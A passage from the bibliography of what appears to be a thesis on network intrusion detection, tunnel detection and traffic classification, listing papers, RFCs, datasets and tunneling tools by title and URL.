the 3e`me Confe´rence sur la Se´curite´ et Architectures Re´seaux (SAR), Or-
lando, FL, USA, 2004.
BIBLIOGRAPHY 213
[18] L. Breiman. Bagging predictors. Machine learning, 24(2):123–140, 1996.
[19] L. Breiman. Random forests. Machine learning, 45(1):5–32, 2001.
[20] L. Breiman, J. Friedman, C. Stone, and R. Olshen. Classification and
regression trees. CRC press, 1984.
[21] M. Breunig, H. Kriegel, R. Ng, and J. Sander. Lof: identifying density-
based local outliers. In ACM sigmod record, volume 29, pages 93–104.
ACM, 2000.
[22] L. Brinkhoff. Gnu httptunnel v3.0.5. Technical report, Nocrew, 2008. URL
http://www.nocrew.org/software/httptunnel.html.
[23] T. Bujlow, V. Carela-Espaol, and P. Barlet-Ros. Independent compar-
ison of popular {DPI} tools for traffic classification. Computer Net-
works, 76:75 – 89, 2015. ISSN 1389-1286. doi: http://dx.doi.org/10.1016/
j.comnet.2014.11.001. URL http://www.sciencedirect.com/science/
article/pii/S1389128614003909.
[24] P. Butler, K. Xu, and D. Yao. Quantitatively analyzing stealthy communi-
cation channels. In International Conference on Applied Cryptography and
Network Security, pages 238–254. Springer, 2011.
[25] A. Callado, J. Kelner, D. Sadok, C. Alberto Kamienski, and S. Fernandes.
Better network traffic identification through the independent combination
of techniques. Journal of Network and Computer Applications, 33(4):433–
446, 2010.
[26] M. Canini, W. Li, A. Moore, and R. Bolla. Gtvs: boosting the collection of
application traffic ground truth. In Traffic Monitoring and Analysis, pages
54–63. Springer, 2009.
[27] F. Cao, M. Ester, W. Qian, and A. Zhou. Density-based clustering over
an evolving data stream with noise. In Proceedings of the 2006 SIAM
International Conference on Data Mining, pages 328–339, 2006.
[28] V. Carela-Espan˜ol, P. Barlet-Ros, A. Cabellos-Aparicio, and J. Sole´-Pareta.
Analysis of the impact of sampling on netflow traffic classification. Com-
puter Networks, 55(5):1083–1099, 2011.
214 BIBLIOGRAPHY
[29] S. Castro. Covert channel tunneling tool (cctt), v0.1.18, 29th aug
2008. Technical report, Gray-World.net Team, 2008. URL http://gray-
world.net/pr cctt.shtm.
[30] V. Chandola, A. Banerjee, and V. Kumar. Anomaly detection: A survey.
ACM Comput. Surv., 41(3):1–58, 2009. ISSN 0360-0300. doi: http://
doi.acm.org/10.1145/1541880.1541882.
[31] S. Chebrolu, A. Abraham, and J.P. Thomas. Feature deduction and en-
semble design of intrusion detection systems. Computers & Security, 24
(4):295–307, 2005.
[32] C. Chen, W. Tsai, and H. Lin. Anomaly behavior analysis for web page
inspection. In Networks and Communications, 2009. NETCOM ’09. First
International Conference on, pages 358–363, 27-29 2009. doi: 10.1109/
NetCoM.2009.72.
[33] Y. Chen, Y. Li, X. Cheng, and L. Guo. Survey and taxonomy of feature
selection algorithms in intrusion detection system. In International Con-
ference on Information Security and Cryptology, pages 153–167. Springer,
2006.
[34] B. Claise. Cisco systems netflow services export version 9. 2004.
[35] B. Claise. Specification of the ip flow information export (ipfix) protocol for
the exchange of flow information. Technical report, Internet Engineering
Task Force,STD 77, RFC 7011, September, 2013.
[36] W. Cohen. Fast effective rule induction. In Proceedings of the twelfth
international conference on machine learning, pages 115–123, 1995.
[37] C. Cortes and V. Vapnik. Support-vector networks. Machine learning, 20
(3):273–297, 1995.
[38] A. Costello. Punycode: A bootstring encoding of unicode for interna-
tionalized domain names in applications (idna). Network Working Group
Proposed Standard, 2003.
[39] M. Cova, C. Kruegel, and G. Vigna. Detection and analysis of drive-by-
download attacks and malicious javascript code. In WWW ’10: Proceedings
BIBLIOGRAPHY 215
of the 19th international conference on World wide web, pages 281–290,
New York, NY, USA, 2010. ACM. ISBN 978-1-60558-799-8. doi: http:
//doi.acm.org/10.1145/1772690.1772720.
[40] M. Crotti, M. Dusi, F. Gringoli, and L. Salgarelli. Detecting http tunnels
with statistical mechanisms. In Communications, 2007. ICC’07. IEEE
International Conference on, pages 6162–6168. IEEE, 2007.
[41] I. Dagan, L. Lee, and F. Pereira. Similarity-based methods for word sense
disambiguation. In Proceedings of the 35th Annual Meeting of the Associa-
tion for Computational Linguistics and Eighth Conference of the European
Chapter of the Association for Computational Linguistics, pages 56–63.
Association for Computational Linguistics, 1997.
[42] A. Dainotti, A. Pescape, and K. Claffy. Issues and future directions in
traffic classification. Network, IEEE, 26(1):35–40, 2012.
[43] M. Dash and H. Liu. Feature selection for classification. Intelligent data
analysis, 1(3):131–156, 1997.
[44] E. Daugherty. Ssh web proxy v0.5, 18 mar 2004. Technical report, 2004.
URL http://www.ericdaugherty.com/dev/sshwebproxy/.
[45] E. Daugherty. Socket over http tunneling (soht) v0.6.2, 19 nov 2008. Tech-
nical report, 2008. URL http://www.ericdaugherty.com/dev/soht/.
[46] J. Davis and A. Clark. Data preprocessing for anomaly based network
intrusion detection: A review. Computers & Security, 30(6–7):353–375,
2011. ISSN 0167-4048. doi: 10.1016/j.cose.2011.05.008. URL http://
www.sciencedirect.com/science/article/pii/S0167404811000691.
[47] H. Debar, M. Dacier, and A. Wespi. Towards a taxonomy of intrusion-
detection systems. Computer Networks, 31(8):805–822, 1999.
[48] H. Deng. Guided random forest in the rrf package. arXiv preprint
arXiv:1306.0237, 2013.
[49] H. Deng and G. Runger. Feature selection via regularized trees. In The
2012 International Joint Conference on Neural Networks (IJCNN), pages
1–8. IEEE, 2012.
216 BIBLIOGRAPHY
[50] H. Deng and G. Runger. Gene selection with guided regularized random
forest. Pattern Recognition, 46(12):3483–3489, 2013.
[51] D. Denning. An intrusion-detection model. IEEE Transactions on software
engineering, (2):222–232, 1987.
[52] R. Dhamankar, M. Dausin, M. Eisenbarth, J. King, W. Kandek, J. Ullrich,
E. Skoudis, and R. Lee. Top cyber security risks. Technical report, The
SANS Institute, 2009. URL http://www.sans.org/top-cyber-security-
risks/.
[53] J.E. Dickerson and J.A. Dickerson. Fuzzy network profiling for intrusion
detection. In Proceedings of NAFIPS 19th International Conference of
the North American Fuzzy Information Processing Society, pages 301–306,
2000.
[54] T. Dierks. The transport layer security (tls) protocol version 1.2. 2008.
[55] T. Dietterich. Ensemble methods in machine learning. In International
workshop on multiple classifier systems, pages 1–15. Springer, 2000.
[56] Y. Ding and W. Cai. A method for http-tunnel detection based on statisti-
cal features of traffic. In Communication Software and Networks (ICCSN),
2011 IEEE 3rd International Conference on, pages 247–250, may 2011. doi:
10.1109/ICCSN.2011.6013585.
[57] P. Domingos and G. Hulten. Mining high-speed data streams. In Proceed-
ings of the sixth ACM SIGKDD international conference on Knowledge
discovery and data mining, pages 71–80. ACM, 2000.
[58] A. Dorofee, G. Killcrece, R. Ruefle, and M. Zajicek. Incident management
capability metrics version 0.1. Technical report, DTIC Document, 2007.
[59] M. Dusi, A. Este, F. Gringoli, and L. Salgarelli. Using gmm and svm-based
techniques for the classification of ssh-encrypted traffic. In Communica-
tions, 2009. ICC’09. IEEE International Conference on, pages 1–6. IEEE,
2009.
[60] M. Dusi, A. Este, F. Gringoli, and L. Salgarelli. Coarse classification of
internet traffic aggregates. In Communications (ICC), 2010 IEEE Inter-
national Conference on, pages 1–6. IEEE, 2010.
BIBLIOGRAPHY 217
[61] M. Dusi, A. Este, F. Gringoli, and L. Salgarelli. Taking a peek at band-
width usage on encrypted links. In Communications (ICC), 2011 IEEE
International Conference on, pages 1–6. IEEE, 2011.
[62] A. Dyatlov. Firepass 1.1.2a, published 20.09.2003, gpl. Technical
report, Gray-World.net Team, 2003. URL http://gray-world.net/
pr firepass.shtml.
[63] A. Dyatlov and S. Castro. Web shell (wsh) v2.2.2, june 2006. Techni-
cal report, Gray-World.net Team, 2006. URL http://gray-world.net/
pr wsh.shtml.
[64] K. Dyer, S. Coull, T. Ristenpart, and T. Shrimpton. Peek-a-boo, i still see
you: Why efficient traffic analysis countermeasures fail. In Security and
Privacy (SP), 2012 IEEE Symposium on, pages 332–346. IEEE, 2012.
[65] J. Early and C. Brodley. Behavioral features for network anomaly detec-
tion. Machine Learning and Data Mining for Computer Security, pages
107–124, 2006.
[66] W. Ellens, P. Z˙uraniewski, A. Sperotto, H. Schotanus, M. Mandjes, and
E. Meeuwissen. Flow-based detection of dns tunnels. In IFIP Interna-
tional Conference on Autonomous Infrastructure, Management and Secu-
rity, pages 124–135. Springer, 2013.
[67] L. Ertoz, E. Eilertson, A. Lazarevic, P.N. Tan, V. Kumar, J. Srivastava,
and P. Dokas. Minds-minnesota intrusion detection system. Next Genera-
tion Data Mining, 2004.
[68] A. Este, F. Gringoli, and L. Salgarelli. On-line svm traffic classification. In
Wireless Communications and Mobile Computing Conference (IWCMC),
2011 7th International, pages 1778–1783. IEEE, 2011.
[69] J. M. Estevez-Tapiador, P. Garcia-Teodoro, and J. E. Diaz-Verdejo.
Stochastic protocol modeling for anomaly based network intrusion detec-
tion. In Information Assurance, 2003. IWIAS 2003. Proceedings. First
IEEE International Workshop on, pages 3–12, 2003.
[70] G. Farnham and A. Atlasis. Detecting dns tunneling. SANS Institute
InfoSec Reading Room, pages 1–32, 2013.
218 BIBLIOGRAPHY
[71] B. Feinstein, D. Peck, and I. SecureWorks. Caffeine monkey: Automated
collection, detection and analysis of malicious javascript. Black Hat USA
2007, 2007.
[72] P. Foremski. On different ways to classify internet traffic: a short review
of selected publications. Theoretical and Applied Informatics, 25, 2013.
[73] P. Foremski, C. Callegari, and M. Pagano. Dns-class: immediate classifica-
tion of ip flows using dns. International Journal of Network Management,
24(4):272–288, 2014.
[74] P. Foremski, C. Callegari, and M. Pagano. Waterfall: rapid identification of
ip flows using cascade classification. In Computer Networks, pages 14–23.
Springer, 2014.
[75] Y. Freund, R. Schapire, et al. Experiments with a new boosting algorithm.
In Icml, volume 96, pages 148–156, 1996.
[76] J. Friedman, T. Hastie, and R. Tibshirani. The Elements of Statistical
Learning: Data Mining, Inference, and Prediction (2nd Ed.). Springer,
2009.
[77] M.M. Gaber, A. Zaslavsky, and S. Krishnaswamy. Mining data streams: a
review. ACM Sigmod Record, 34(2):18–26, 2005.
[78] P. Garca-Teodoro, J. Daz-Verdejo, G. Maci¡-Fern¡ndez, and E. V¡zquez.
Anomaly-based network intrusion detection: Techniques, sys-
tems and challenges. Computers & Security, 28(1-2):18–28, 2009.
ISSN 0167-4048. doi: DOI:10.1016/j.cose.2008.08.003. URL
http://www.sciencedirect.com/science/article/B6V8G-4T9M5YV-
1/2/e7bb09423b82289fce3eba495fdc4418.
[79] P.A. Gilbert and P. Bhattacharya. An approach towards anomaly based
detection and profiling covert tcp/ip channels. In Information, Communi-
cations and Signal Processing, 2009. ICICS 2009. 7th International Con-
ference on, pages 1–5. IEEE, 2009.
[80] F. Giroire, J. Chandrashekar, N. Taft, E. Schooler, and D. Papagiannaki.
Exploiting temporal persistence to detect covert botnet channels. In Recent
Advances in Intrusion Detection, pages 326–345. Springer, 2009.
BIBLIOGRAPHY 219
[81] P. Gogoi, B. Borah, and D.K. Bhattacharyya. Anomaly detection analysis
of intrusion data using supervised & unsupervised approach. Journal of
Convergence Information Technology, 5(1), 2010.
[82] F. Gringoli, L. Salgarelli, M. Dusi, N. Cascarano, F. Risso, et al. Gt:
picking up the truth from the ground for internet traffic. ACM SIGCOMM
Computer Communication Review, 39(5):12–18, 2009.
[83] G. Gu, J. Zhang, and W. Lee. Botsniffer: Detecting botnet command
and control channels in network traffic. In Proceedings of the 15th Annual
Network and Distributed System Security Symposium (NDSS08), 2008.
[84] M. Guennoun, A. Lbekkouri, and K. El-Khatib. Selecting the best set
of features for efficient intrusion detection in 802.11 networks. In Infor-
mation and Communication Technologies: From Theory to Applications,
2008. ICTTA 2008. 3rd International Conference on, pages 1–4, 2008.
[85] I. Guyon and A. Elisseeff. An introduction to variable and feature selection.
The Journal of Machine Learning Research, 3:1157–1182, 2003.
[86] I. Guyon, S. Gunn, M. Nikravesh, and L. Zadeh. Feature Extraction: Foun-
dations and Applications. Springer Verlag, 2006.
[87] E. Herna´ndez-Pereira, J. A. Sua´rez-Romero, O. Fontenla-Romero, and
A. Alonso-Betanzos. Conversion methods for symbolic features: A compar-
ison applied to an intrusion detection problem. Expert Systems with Appli-
cations, 36(7):10612–10617, 2009. doi: DOI: 10.1016/j.eswa.2009.02.054.
[88] Y. Himura, K. Fukuda, K. Cho, P. Borgnat, P. Abry, and H. Esaki. Synop-
tic graphlet: Bridging the gap between supervised and unsupervised profil-
ing of host-level network traffic. IEEE/ACM Transactions on Networking
(TON), 21(4):1284–1297, 2013.
[89] E. Hjelmvik. The spid algorithm-statistical protocol identification. Ga¨vle,
Sweden, October, 2008.
[90] R. Hofstede, P. Celeda, B. Trammell, I. Drago, R. Sadre, A. Sperotto, and
A. Pras. Flow monitoring explained: From packet capture to data analysis
with netflow and ipfix. Communications Surveys & Tutorials, IEEE, 16
(4):2037–2064, 2014.
220 BIBLIOGRAPHY
[91] M. Houle, H.P. Kriegel, P. Kroger, E. Schubert, and A. Zimek. Can shared-
neighbor distances defeat the curse of dimensionality? In Scientific and
Statistical Database Management, pages 482–500. Springer, 2010.
[92] A. Houmansadr, C. Brubaker, and V. Shmatikov. The parrot is dead:
Observing unobservable network communications. In Security and Privacy
(SP), 2013 IEEE Symposium on, pages 65–79. IEEE, 2013.
[93] IANA. Ip flow information export (ipfix) entities, June 2013. URL
http://www.iana.org/assignments/ipfix/ipfix.xml,Accessed10/02/
2016online.
[94] M. Iliofotou, B. Gallagher, T. Eliassi-Rad, G. Xie, and M. Faloutsos.
Profiling-by-association: A resilient traffic profiling solution for the inter-
net backbone. In Proceedings of the 6th International Conference, Co-
NEXT ’10, pages 2:1–2:12, New York, NY, USA, 2010. ACM. ISBN 978-
1-4503-0448-1. doi: 10.1145/1921168.1921171. URL http://doi.acm.org/
10.1145/1921168.1921171.
[95] M. Iliofotou, H. Kim, M. Faloutsos, M. Mitzenmacher, P. Pappu, and
G. Varghese. Graption: A graph-based p2p traffic classification framework
for the internet backbone. Computer Networks, 55(8):1909–1920, 2011.
[96] C. Inacio and B. Trammell. Yaf: yet another flowmeter. In Proceedings of
LISA10: 24th Large Installation System Administration Conference, page
107, 2010.
[97] A. Javaid, Q. Niyaz, W. Sun, and M. Alam. A deep learning approach
for network intrusion detection system. In Proceedings of the 9th EAI In-
ternational Conference on Bio-inspired Information and Communications
Technologies (formerly BIONETICS), New York, NY, USA, volume 35,
page 2126, 2015.
[98] Y. Jin, N. Duffield, J. Erman, P. Haffner, S. Sen, and Z. Zhang. A modu-
lar machine learning system for flow-level traffic classification in large net-
works. ACM Transactions on Knowledge Discovery from Data (TKDD), 6
(1):4, 2012.
BIBLIOGRAPHY 221
[99] Z. Jiong and Z. Mohammad. Anomaly based network intrusion detection
with unsupervised outlier detection. In Communications, 2006. ICC ’06.
IEEE International Conference on, volume 5, pages 2388–2393, 2006.
[100] T. Karagiannis, A. Broido, M. Faloutsos, et al. Transport layer identifica-
tion of p2p traffic. In Proceedings of the 4th ACM SIGCOMM conference
on Internet measurement, pages 121–134. ACM, 2004.
[101] T. Karagiannis, K. Papagiannaki, and M. Faloutsos. Blinc: multilevel
traffic classification in the dark. In ACM SIGCOMM Computer Commu-
nication Review, volume 35, pages 229–240. ACM, 2005.
[102] KDD. Kdd cup 1999 dataset, 1999. URL http://kdd.ics.uci.edu/
databases/kddcup99/kddcup99.html.
[103] M. Kiani, A. Clark, and G. Mohay. Evaluation of anomaly based character
distribution models in the detection of sql injection attacks. In Availability,
Reliability and Security, 2008. ARES 08. Third International Conference
on, pages 47–55, 4-7 2008. doi: 10.1109/ARES.2008.123.
[104] H. Kim, K. Claffy, M. Fomenkov, D. Barman, M. Faloutsos, and K. Lee.
Internet traffic classification demystified: myths, caveats, and the best
practices. In Proceedings of the 2008 ACM CoNEXT conference, page 11.
ACM, 2008.
[105] E. Kirda, C. Kruegel, G. Vigna, and N. Jovanovic. Noxes: a client-side
solution for mitigating cross-site scripting attacks. In Proceedings of the
2006 ACM symposium on Applied computing, pages 337–347. ACM, 2006.
[106] E. Kirda, N. Jovanovic, C. Kruegel, and G. Vigna. Client-side cross-
site scripting protection. Computers & Security, 28(7):592–604,
2009. ISSN 0167-4048. doi: DOI:10.1016/j.cose.2009.04.008. URL
http://www.sciencedirect.com/science/article/B6V8G-4W9XDSF-1/
2/4d5d5bbe732ca187dfa756b79877973a.
[107] M. Kloft, U. Brefeld, P. Duessel, C. Gehl, and P. Laskov. Automatic feature
selection for anomaly detection. In Proceedings of the 1st ACM workshop
on Workshop on AISec, pages 71–76. ACM, 2008.
222 BIBLIOGRAPHY
[108] W. Konen. Self-configuration from a machine-learning perspective. Arxiv
preprint arXiv:1105.1951, 2011.
[109] S.B. Kotsiantis, D. Kanellopoulos, and P.E. Pintelas. Data preprocessing
for supervised learning. International Journal of Computer Science, 1(2):
111–117, 2006.
[110] C. Kruegel and G. Vigna. Anomaly detection of web-based attacks. In Pro-
ceedings of the 10th ACM conference on Computer and Communications
Security, pages 251–261. ACM New York, NY, USA, 2003.
[111] L.A. Kurgan and P. Musilek. A survey of knowledge discovery and data
mining process models. The Knowledge Engineering Review, 21(01):1–24,
2006.
[112] Kaspersky Lab. Carbanak apt the great bank robbery v2.1 february 2015.
Technical report, Kaspersky Lab, 2015. URL https://securelist.com/
blog/research/68732/the-great-bank-robbery-the-carbanak-apt/.
[113] A. Lakhina, M. Crovella, and C. Diot. Mining anomalies using traffic
feature distributions. In Proceedings of the 2005 conference on Applica-
tions, technologies, architectures, and protocols for computer communica-
tions, pages 228–235. ACM, 2005.
[114] P. Laskov, C. Scha¨fer, I. Kotenko, and K.R. Mu¨ller. Intrusion detection in
unlabeled data with quarter-sphere support vector machines. Praxis der
Informationsverarbeitung und Kommunikation, 27(4):228–236, 2004.
[115] P. Laskov, P. Dussel, C. Schafer, and K. Rieck. Learning intrusion detec-
tion: supervised or unsupervised? Image Analysis and Processing–ICIAP
2005, pages 50–57, 2005.
[116] A. Lazarevic, L. Ertoz, V. Kumar, A. Ozgur, and J. Srivastava. A compara-
tive study of anomaly detection schemes in network intrusion detection. In
Proceedings of the Third SIAM International Conference on Data Mining,
pages 25–36, 2003.
[117] S. Lee, H. Kim, D. Barman, S. Lee, C. Kim, T. Kwon, and Y. Choi.
Netramark: a network traffic classification benchmark. ACM SIGCOMM
Computer Communication Review, 41(1):22–30, 2011.
BIBLIOGRAPHY 223
[118] W. Lee and S.J. Stolfo. Data mining approaches for intrusion detection. In
Proceedings of the 7th conference on USENIX Security Symposium-Volume
7, pages 6–. USENIX Association, 1998.
[119] W. Lee and S.J. Stolfo. A framework for constructing features and models
for intrusion detection systems. ACM Transactions on Information and
System Security (TISSEC), 3(4):227–261, 2000.
[120] W. Li, M. Canini, A. Moore, and R. Bolla. Efficient application iden-
tification and the temporal and spatial stability of classification schema.
Computer Networks, 53(6):790–809, 2009.
[121] Y. Li and L. Guo. An active learning based tcm-knn algorithm for super-
vised network intrusion detection. Computers & security, 26(7-8):459–467,
2007. doi: DOI: 10.1016/j.cose.2007.10.002.
[122] Y. Li, B. Fang, L. Guo, and Y. Chen. Network anomaly detection based
on tcm-knn algorithm. In Proceedings of the 2nd ACM symposium on
Information, Computer and Communications Security. ACM, 2007.
[123] Y. Li, J. Wang, Z. Tian, T. Lu, and C. Young. Building lightweight
intrusion detection system using wrapper-based feature selection mech-
anisms. Computers & security, 28(6):466–475, 2009. doi: DOI:
10.1016/j.cose.2009.01.001.
[124] R.P. Lippmann, D.J. Fried, I. Graf, J.W. Haines, K.R. Kendall, D. Mc-
Clung, D. Weber, S.E. Webster, D. Wyschogrod, and R.K. Cunningham.
Evaluating intrusion detection systems: the 1998 darpa off-line intrusion
detection evaluation. In DARPA Information Survivability Conference and
Exposition, 2000. DISCEX’00. Proceedings, volume 2, 2000.
[125] D.R. Lowne, S.J. Roberts, and R. Garnett. Sequential non-stationary dy-
namic classification with sparse feedback. Pattern Recognition, 43(3):897–
905, 2010.
[126] W. Lu and A.A. Ghorbani. Network anomaly detection based on wavelet
analysis. EURASIP Journal on Advances in Signal Processing, 2009:4–10,
2009.
224 BIBLIOGRAPHY
[127] J. MacQueen et al. Some methods for classification and analysis of mul-
tivariate observations. In Proceedings of the fifth Berkeley symposium on
mathematical statistics and probability, volume 1, pages 281–297. Oakland,
CA, USA., 1967.
[128] M. Mahoney and P.K. Chan. Phad: Packet header anomaly detection for
identifying hostile network traffic. Florida Institute of Technology technical
report CS-2001-04, 2001.
[129] M. Mahoney and P.K. Chan. Learning nonstationary models of normal net-
work traffic for detecting novel attacks. In Proceedings of the eighth ACM
SIGKDD International Conference on Knowledge Discovery and Data Min-
ing, pages 376–385. ACM New York, NY, USA, 2002.
[130] M. Mahoney and P.K. Chan. Learning models of network traffic for de-
tecting novel attacks. Florida Institute of Technology Technical Report
CS-2002-08, 2002.
[131] M. Mahoney and P.K. Chan. An analysis of the 1999 darpa/lincoln labo-
ratory evaluation data for network anomaly detection. In Recent Advances
in Intrusion Detection, pages 220–237. Springer, 2003.
[132] M. Maragoudakis and N. Fakotakis. Bayesian feature construction. In
Advances in Artificial Intelligence, pages 235–245. Springer, 2006.
[133] S. Markovitch and D. Rosenstein. Feature generation using general con-
structor functions. Machine Learning, 49(1):59–98, 2002.
[134] J. Mason, S. Small, F. Monrose, and G. MacManus. English shellcode. In
Proceedings of the 16th ACM conference on Computer and Communica-
tions Security, pages 524–533. ACM, 2009.
[135] J.H. McDonald. Handbook of Biological Statistics (3rd Ed.). Sparky House
Publishing Baltimore, Maryland, 2014.
[136] J. McHugh. Testing intrusion detection systems: A critique of the 1998
and 1999 darpa intrusion detection system evaluations as performed by
lincoln laboratory. ACM Transactions on Information and System Security
(TISSEC), 3(4):262–294, 2000.
BIBLIOGRAPHY 225
[137] A. Merlo, G. Papaleo, S. Veneziano, and M. Aiello. A comparative perfor-
mance evaluation of dns tunneling tools. In Computational Intelligence in
Security for Information Systems, pages 84–91. Springer, 2011.
[138] MIT. 1998 darpa intrusion detection evaluation data set, 1998. URL
https://www.ll.mit.edu/ideval/data/1998data.html.
[139] MIT. 1999 darpa intrusion detection evaluation data set, 1999. URL
https://www.ll.mit.edu/ideval/data/1999data.html.
[140] P. Mockapetris. Rfc 1034: Domain names - concepts and facilities (novem-
ber 1987). STD13, 6, 1987.
[141] P. Mockapetris. Rfc 1035: Domain names - implementation and specifica-
tion, november 1987. STD13, 1987.
[142] N. Muraleedharan, A. Parmar, and M. Kumar. A flow based anomaly
detection system using chi-square technique. In Advance Computing Con-
ference (IACC), 2010 IEEE 2nd International, pages 285–289, 2010.
[143] P.M. Murphy and M.J. Pazzani. Id2-of-3: Constructive induction of m-of-n
concepts for discriminators in decision trees. In Proceedings of the Eighth
International Workshop on Machine Learning, pages 183–187. Citeseer,
1991.
[144] J.O. Nehinbe. A critical evaluation of datasets for investigating idss and
ipss researches. In 10th International Conference on Cybernetic Intelligent
Systems (CIS), pages 92–97. IEEE, 2011.
[145] T. Nguyen and G. Armitage. A survey of techniques for internet traffic clas-
sification using machine learning. Communications Surveys & Tutorials,
IEEE, 10(4):56–76, 2008.
[146] I.V. Onut and A.A. Ghorbani. A feature classification scheme for network
intrusion detection. International Journal of Network Security, 5(1):1–15,
2007.
[147] Hewlett Packard. Cyber risk report, 2016. URL http:
//www8.hp.com/au/en/software-solutions/cyber-risk-report-
security-vulnerability/index.html.
226 BIBLIOGRAPHY
[148] P. Padgett. Corkscrew v2.0. Technical report, Agroman, 2001. URL
http://www.agroman.net/corkscrew/.
[149] G. Pagallo. Learning dnf by decision trees. In IJCAI, volume 89, pages
639–644, 1989.
[150] A. Patcha and J. Park. An overview of anomaly detection techniques:
Existing solutions and latest technological trends. Computer Networks, 51
(12):3448–3470, 2007. doi: DOI: 10.1016/j.comnet.2007.02.001.
[151] A. Patcha and J. Park. Network anomaly detection with incomplete
audit data. Computer Networks, 51(13):3935–3955, 2007. doi: DOI:
10.1016/j.comnet.2007.04.017.
[152] V. Paxson. Bro: a system for detecting network intruders in real-time.
Computer networks, 31(23):2435–2463, 1999.
[153] R. Perdisci, D. Ariu, P. Fogla, G. Giacinto, and W. Lee. Mcpad: A multiple
classifier system for accurate payload-based anomaly detection. Computer
Networks, 53(6):864–881, 2009.
[154] D. Pokrajac, A. Lazarevic, and L. Latecki. Incremental local outlier detec-
tion for data streams. In IEEE Symposium on Computational Intelligence
and Data Mining (CIDM). Citeseer, 2007.
[155] D. Pokrajac, A. Lazarevic, and L.J. Latecki. Incremental local outlier
detection for data streams. In IEEE Symposium on Computational Intel-
ligence and Data Mining (CIDM). Citeseer, 2007.
[156] C. Qi, X. Chen, C. Xu, J. Shi, and P. Liu. A bigram based real time dns
tunnel detection approach. Procedia Computer Science, 17:852–860, 2013.
[157] J.R. Quinlan. C4. 5: programs for machine learning. Elsevier, 2014.
[158] M. Ramadas, S. Ostermann, and B. Tjaden. Detecting anomalous network
traffic with self-organizing maps. Lecture Notes in Computer Science, pages
36–54, 2003.
[159] S. Raschka. Python Machine Learning. Packt Publishing Ltd, 2015. URL
http://techbus.safaribooksonline.com/book/programming/python/
BIBLIOGRAPHY 227
9781783555130/modeling-class-probabilities-via-logistic-
regression/ch03lvl2sec22 html.
[160] J. Read, A. Bifet, G. Holmes, and B. Pfahringer. Efficient multi-label
classification for evolving data streams. University of Waikato, Department
of Computer Science, 2010.
[161] J. Rexford, J. Wang, Z. Xiao, and Y. Zhang. Bgp routing stability of pop-
ular destinations. In Proceedings of the 2nd ACM SIGCOMM Workshop
on Internet measurment, pages 197–202. ACM, 2002.
[162] K. Rieck and P. Laskov. Language models for detection of unknown attacks
in network traffic. Journal in Computer Virology, 2(4):243–256, 2007.
[163] M. Roesch. Snort-lightweight intrusion detection for networks. In Pro-
ceedings of the 13th USENIX Conference on System Administration, pages
229–238. Seattle, Washington, 1999.
[164] D. Roth and K. Small. Interactive feature space construction using seman-
tic information. In Proceedings of the Thirteenth Conference on Computa-
tional Natural Language Learning, pages 66–74. Association for Computa-
tional Linguistics, 2009.
[165] M. Roughan, S. Sen, O. Spatscheck, and N. Duffield. Class-of-service map-
ping for qos: a statistical signature-based approach to ip traffic classifica-
tion. In Proceedings of the 4th ACM SIGCOMM Conference on Internet
Measurement, pages 135–148. ACM, 2004.
[166] G. Schwenk and K Rieck. Adaptive detection of covert communication
in http requests. In Computer Network Defense (EC2ND), 2011 Seventh
European Conference on, pages 25–32. IEEE, 2011.
[167] R. Sekar, A. Gupta, J. Frullo, T. Shanbhag, A. Tiwari, H. Yang, and
S. Zhou. Specification-based anomaly detection: a new approach for de-
tecting network intrusions. In CCS ’02: Proceedings of the 9th ACM
conference on Computer and Communications Security, pages 265–274,
New York, NY, USA, 2002. ACM. ISBN 1-58113-612-9. doi: http:
//doi.acm.org/10.1145/586110.586146.
228 BIBLIOGRAPHY
[168] M.L. Shyu, S.C. Chen, K. Sarinnapakorn, and L.W. Chang. A novel
anomaly detection scheme based on principal component classifier. In Pro-
ceedings of the IEEE Foundations and New Directions of Data Mining
Workshop, 2003.
[169] E. Skoudis. The six most dangerous new attack techniques and whats
coming next. In RSA Conference (RSA12), 2012.
[170] R. Smith, N. Japkowicz, M. Dondo, and P. Mason. Using unsupervised
learning for network alert correlation. Advances in Artificial Intelligence,
pages 308–319, 2008.
[171] R. Sommer and V. Paxson. Outside the closed world: On using machine
learning for network intrusion detection. In 2010 IEEE Symposium on
Security and Privacy, pages 305–316. IEEE, 2010.
[172] P. Sondhi. Feature construction methods: A survey (unpublished).
http://sifaka.cs.uiuc.edu/ sondhi1/survey3.pdf last viewed 19/03/2014,
2010.
[173] E.J. Spinosa, A.P. de Leon F. de Carvalho, and J. Gama. Novelty detection
with application to data streams. Intelligent Data Analysis, 13(3):405–422,
2009.
[174] S. Staniford, J.A. Hoagland, and J.M. McAlerney. Practical automated
detection of stealthy portscans. Journal of Computer Security, 10(1):105–
136, 2002.
[175] M.Y. Su, G.J. Yu, and C.Y. Lin. A real-time network intrusion detection
system for large-scale attacks based on an incremental mining approach.
Computers & Security, 28(5):301–309, 2009.
[176] Y. Taigman, M. Yang, M. Ranzato, and L. Wolf. Deepface: Closing the
gap to human-level performance in face verification. In Proceedings of
the IEEE Conference on Computer Vision and Pattern Recognition, pages
1701–1708, 2014.
[177] S.C. Tan, K.M. Ting, and T.F. Liu. Fast anomaly detection for streaming
data.
BIBLIOGRAPHY 229
[178] I. Trestian, S. Ranjan, A. Kuzmanovi, and A. Nucci. Unconstrained end-
point profiling (googling the internet). ACM SIGCOMM Computer Com-
munication Review, 38(4):279–290, 2008.
[179] W. Tylman. Anomaly-based intrusion detection using bayesian networks.
In Dependability of Computer Systems, 2008. DepCos-RELCOMEX ’08.
Third International Conference on, pages 211–218, 2008.
[180] F. Valeur, D. Mutz, and G. Vigna. A learning-based approach to the
detection of sql attacks. Intrusion and Malware Detection and Vulnerability
Assessment, pages 123–140, 2005.
[181] M. Vallentin, R. Sommer, J. Lee, C. Leres, V. Paxson, and B. Tierney. The
nids cluster: Scalable, stateful network intrusion detection on commodity
hardware. Lecture Notes in Computer Science, 4637:107–126, 2007.
[182] P. Vixie and D. Dagon. Use of bit 0x20 in dns labels to improve transaction
identity. DNSOP Working Group Internet Draft, 2008.
[183] K. Wang and S. J. Stolfo. Anomalous payload-based network intrusion
detection. Lecture Notes in Computer Science, pages 203–222, 2004.
[184] K. Wang, J. Parekh, and S. Stolfo. Anagram: A content anomaly detector
resistant to mimicry attack. In Recent Advances in Intrusion Detection,
pages 226–248. Springer, 2006.
[185] W. Wang and R. Battiti. Identifying intrusions in computer networks with
principal component analysis. In The First International Conference on
Availability, Reliability and Security, ARES, 2006.
[186] S. Weber. Httptunnel v1.2.1, 2010. Technical report, 2010. URL http:
//sourceforge.net/projects/http-tunnel/.
[187] N. Williams, S. Zander, G. Armitage, et al. Evaluating machine learning
algorithms for automated network application identification. Center for
